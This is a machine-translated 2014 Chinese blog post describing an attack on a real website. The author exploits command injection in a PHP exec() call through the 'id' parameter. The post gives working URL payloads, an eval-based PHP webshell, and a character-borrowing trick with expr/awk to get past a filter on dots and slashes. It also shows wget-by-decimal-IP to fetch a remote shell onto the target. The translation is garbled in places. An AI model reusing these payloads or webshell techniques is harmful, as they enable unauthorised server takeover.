Xeyes · 2014/03/05 12:18

0 x00 background


A website was found to have vulnerabilities and was tested:

This is a cgi script to get the source of the web page xxx.com/cgi-bin/pri… 
 habitually, test after file.. /.. /.. /.. /.. / Contain or read vulnerabilities are not valid. The interesting thing is that directories and files are successfully read using the File protocol (local File Transfer Protocol).

The target environment is Red Hat6.5+Apache, the next job is to go through sensitive files, find configuration files to collect information and locate the current site path.

0x01 A Breach is Found


After a period of brick moving time to view, the current site can not be used, with the service site scripting language mainly cgi Perl, a small amount of PHP. Consistent carpet search can use the code, during the period to find a lot of cgi scripts with execution permission, try to access in the browser, but are prompted 500 internal errors, so that even if the successful operation can not know the code running status, can only give up. After a period of time, I finally found an interesting PHP script code in the PHP file of the same server site.

#! php exec('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf');Copy the code

Exec () executes an external program, as long as it can control the variable $file in PICNAME=’.$file.’, it is possible to execute system commands. Be decisive in saving code native tests.

Code analysis is as follows:

#! php <html> <head><title>Content</title> <link rel="stylesheet" type="text/css" href="style.css"></link> <link rel="stylesheet" type="text/css" href="styles.css"></link> <script type="text/javascript" src="common.js"></script><script type="text/javascript" src="css.js"></script><script type="text/javascript" src="standardista-table-sorting.js"></script> <script type="text/javascript" src="toggle.js"> </script> <script type="text/javascript"> function updateAppletTarget(q) { parent.applet.updateAppletTarget(q); } </script> </head> <body> <div id="change"> <? php $id=""; if (isset($_POST["id"])) $id=$_POST["id"]; / / GET or POST receives input id else if (isset ($_GET (" id "))) $id = $_GET (" id "); if (strlen($id)>0) { // PUBLIC_ID_SEPARATOR //$id = ereg_replace(":","|",$id); #$id="tesdts.fdkjfls|fjksldaf.fdsfaa"; #echo $id; #note: equivalent function is used in fi.jyu.mit.utils.FileLib.java #$file = ereg_replace("\\||\\.","_",$id); $file = ereg_replace("\\||\\:|\\.","_",$id); / / ereg_replace - if id contained in the incoming data \ | :., _, is ereg_replace regular judgment to the next. // string ereg_replace ( string pattern, string replacement, string string ) #echo $file; if (strpos($file,'\\') ! $strpos($file,'/'); $file ($file,'/'); == false or strpos($file,':') ! == false) die('Not current directory'); // refresh HTML file and pics # exec('make -f Makefile -c.. PICNAME='.$file.' htmlcheck'); # exec('make PICNAME='.$file.' htmlcheck'); # die('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf'); exec('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf'); Exec ('make PICNAME='.$file.' dot2png dot2png_large dot2pdf'); if ((! File_exists (" HTML/". $file. "HTML")) | | (filesize (" HTML/". $file. The "HTML") = = 0)) {echo "paivitetaan "."html/".$file.".html"; ? > <script type="text/javascript"> updateAppletTarget('<? php echo $id ? > '); </script> <? php } else readfile("html/".$file.".html"); }? > <! -- disabled temporirarily <a href="#" onclick="updateAppletTarget('edit'); return false;" >Muokkaa</a> --> </div> </body> </html>Copy the code

The following is a local test of filtered characters:

#! php $file = ereg_replace("\\||\\:|\\.","_",$id);Copy the code

| here as well. // \\ Not current directory(Not current directory)

#! php die('make -i -f skriptit/Makefile DOT\_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png\_large dot2pdf');Copy the code

Die print the results and see:

The print results can be seen

aaaaa, '`
Copy the code

Can be brought in and; (semicolon) also executes successfully then it is interesting to construct the statement:

http://localhost/test.php?id=aaaa; echo test >aaaCopy the code

Succeeded in writing to the current directory.

Of course, you can also execute commands, and also write the command execution results to a file for echo.

http://localhost/test.php?id=aaaa; id >aaa;Copy the code

Notice the extra one at the end; The (semicolon) cuts off the extra stuff.

Next, write a shell to clarify your thoughts:

#! php $file = ereg_replace("\\||\\:|\\.","_",$id);Copy the code

| well. Have been replaced with _ (horizontal), / / \ \ path symbol indicates that the Not current directory (Not the current directory), write the shell need. (point) plus suffixes, if write files directly

http://localhost/test.php?id=aaaa; echo <? php eval($_REQUEST[v]); ? > >zzz.phpCopy the code

The resulting file name is zzz_php, which also cannot be escaped with \.

You might say, damn, you can download files. Let me write the code like this

http://localhost/test.php?id=aaaa; wget www.ccav.com/shell.phpCopy the code

So the result is:

Not current directory
Copy the code

Because it contains the dot and the path symbol.

0x02 Bypass Mode


To this point, you have to consider how to bypass filtering and use the shell in two separate ways.

1 How do I echo a shell? 2. How do I download a shellCopy the code

The first method:

How to echo shell, to write a sentence PHP Trojan as an example, the main solution is.(dot) problem,$(dollar symbol), and >(pipe symbol) and parentheses. The method I’m using here is “Borrow flowers from Buddha.”

Echo complete statement as follows:

#! php echo <? php eval($_REQUEST[v]); ? > >test.phpCopy the code

If not, “borrow”, simply borrow characters from existing files. You can borrow from a variable or from an existing file. The method used is the Linux Shell expr method.

The following image prints the first six characters in the test.php file. All you need to do is borrow all the necessary characters from the file. (The test.php example is the vulnerability file itself)

Next is the physical work, to a word in the Trojan horse all filtered characters are borrowed in turn. Note that the interval between reading characters does not appear to contain Spaces, otherwise EXPR will determine the column count is incorrect.

[email protected]:/var/www# echo `expr substr $(awk NR==20 test.php) 5 1`

"
    
[email protected]:/var/www# echo `expr substr $(awk NR==20 test.php) 1 1`

$
[email protected]:/var/www# echo 'expr substr $(awk NR==1 test.php) 1 1 1' 
<[email protected]:/var/www# echo `expr substr $(awk NR==1 test.php) 6 1`
>
[email protected]:/var/www# expr substr $(awk NR==11 test.php) 35 1
)
[email protected]:/var/www# expr substr $(awk NR==11 test.php) 33 1
    
(
[email protected]:/var/www# expr substr $(awk NR==20 test.php) 7 1
;[email protected]:/var/www# expr substr $(awk NR==17 test.php) 2 1
?Copy the code

The complete statement is:

echo `expr substr $(awk NR==1 test.php) 1 1`? php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk  NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`phpCopy the code

Successfully executed in shell

I will get shell soon. In a short time, I will be promoted and raised, become the general manager and CEO, marry Bai Fumei and walk on the peak of my life. Think of a little bit of excitement, hey hey ~~

I wipe, this how to play…… The result of executing the test.php file on the test environment was never expected to end up with a.(dot), because you still need the suffix to read the test.php file. Your sister…

So let’s go back to the point. This time, ls > XXX writes all files in the current directory (directory files with suffixes) to XXX and then borrows.(dot) from XXX.

http://localhost/test.php?id=aaaa; ls >xxx;Copy the code

In my local environment, the characters in line 1, column 2 (2.php) of the XXX file are.(dot)

Replace all of the.(dot) in test.php with.(dot) in the original statement

`expr substr $(awk NR==1 xxx)  2 1`
Copy the code

The original statement:

echo `expr substr $(awk NR==1 test.php) 1 1`? php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk  NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`phpCopy the code

To:

echo `expr substr $(awk NR==1 test`expr substr $(awk NR==1 xxx) 2 1`php) 1 1`? php eval`expr substr $(awk NR==11 test`expr substr $(awk NR==1 xxx) 2 1`php) 33 1``expr substr $(awk NR==20 test`expr substr $(awk NR==1 xxx) 2 1`php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test`expr substr $(awk NR==1 xxx) 2 1`php) 35 1``expr substr $(awk NR==20 test`expr substr $(awk NR==1 xxx) 2 1`php) 7 1``expr substr $(awk NR==17 test`expr substr $(awk NR==1 xxx) 2 1`php) 2 1``expr substr $(awk NR==1 test`expr substr $(awk NR==1 xxx) 2 1`php) 6 1` >2`expr substr $(awk NR==30 test`expr substr $(awk NR==1 xxx) 2 1`php) 13 1`phpCopy the code

A syntax error occurred in the execution.

Another way to think about it, it was a big detour. Cat test.php > xxoo But this is still filtered to test_php, you can only borrow the point from XXX first.

Statement:

cat test`expr substr $(awk NR==2 xxx) 6 1`php >xxoo
Copy the code

Write test.php to an xxoo file

Finally, change test.php to xxoo to solve the limitation of the point

The original statement:

echo `expr substr $(awk NR==1 test.php) 1 1`? php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk  NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`phpCopy the code

Revised:

echo `expr substr $(awk NR==1 xxoo) 1 1`? php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`phpCopy the code

Test environment successfully executed:

http://localhost/test.php?id=anything; echo `expr substr $(awk NR==1 xxoo) 1 1`? php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php;Copy the code

Finally write complete PHP a word Trojan. Remove target Webshell permissions.

Summary steps:

1)

Ls > XXX, cat XXX The number of rows and columns of.Copy the code

2)

Cat test. 'expr substr $(awk NR==1 XXX) 2 1' PHP > xxooCopy the code

3)

echo `expr substr $(awk NR==1 xxoo) 1 1`? php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php; // The required characters are replaced with characters from xxoo files.Copy the code

The second method:

Download the file to get the shell, this method to save a lot of trouble, to solve the key or.(dot), and //(path).(dot) solution can be bypassing the digital IP method.

Requirements:

The webserver that can be accessed from the Internet using IP, the target that has wGET program, and the current directory that has write file permission.Copy the code

Online conversion link:

http://tool.chinaz.com/ip/?IP=127.0.0.1
Copy the code

Take the local computer (ubuntu +apache2 🙂 as an example

1. Obtain the IP address 127.0.0.1 = 2130706433 2. Put outside the network server PHP parsing, under the apache configuration file parameter annotation # LoadModule php5_module/usr/lib/apache2 / modules/libphp5. So 3. <a href="shell.php">test</a> '<a href=" test</a> "> Ps: It seems to work with the 301 redirect, but I haven't tested it yetCopy the code

Parameter: wGET-R 2130706433

The effect is shown below. After downloading, save the file in a directory structure to get the shell.

0 x03 finally


Welcome to correct errors or omissions. Take this article as an example, I hope you share some methods of writing shell under Linux shell bypassing character filtering.

Finally, thank brother Moon for his careful guidance.